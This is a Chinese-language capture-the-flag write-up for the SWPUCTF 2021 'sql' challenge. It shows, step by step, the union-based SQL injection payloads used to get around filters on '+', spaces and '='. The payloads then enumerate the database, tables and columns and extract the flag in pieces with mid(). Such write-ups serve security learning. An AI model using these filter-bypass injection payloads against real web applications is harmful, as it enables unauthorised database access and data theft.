[SWPUCTF 2021 新生赛]sql
[SWPUCTF 2021 新生赛]sql
?wllm=1'
,存在 sql 注入漏洞
?wllm=1'--+
,弹出警告,逐一排查发现过滤了+
,用 #
来代替 --+
?wllm=1'%23
,页面恢复正常,为字符型 (%23
是 #
的 url 编码形式)
?wllm=1'order by 1%23
,弹出警告,逐一排查发现过滤了空格,用 /**/
来代替空格
?wllm=1'order/**/by/**/3%23
,页面正常显示;?wllm=1'order/**/by/**/4%23
,页面报错,判断有 3 个字段(列)
?wllm=-1'union/**/select/**/1,2,3%23
,找到回显点
-1'union/**/select/**/1,database(),3%23
,查询库名为 test_db
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="test_db"%23
,弹出警告,逐一排查发现过滤了 =
,用 like
替代
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"test_db"%23
,查询表名有 LTLT_flag、users
?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"LTLT_flag"%23
,查询字段有 id、flag
?wllm=-1'union/**/select/**/1,flag,3/**/from/**/LTLT_flag%23
,查询 flag 字段的值,得到残缺的 flag :NSSCTF{d864dca3-5b50
这个回显点只能显示 20 个字,可以利用字符串处理函数把 20 个字后面的内容显示出来
?wllm=-1'union/**/select/**/1,mid(flag,21,20),3/**/from/**/LTLT_flag%23
( mid 没被过滤 )
?wllm=-1'union/**/select/**/1,mid(flag,41,20),3/**/from/**/LTLT_flag%23
拼接成完整 flag :NSSCTF{d864dca3-5b50-4895-8f43-68cc96029460}
欲将心事付瑶琴。知音少,弦断有谁听?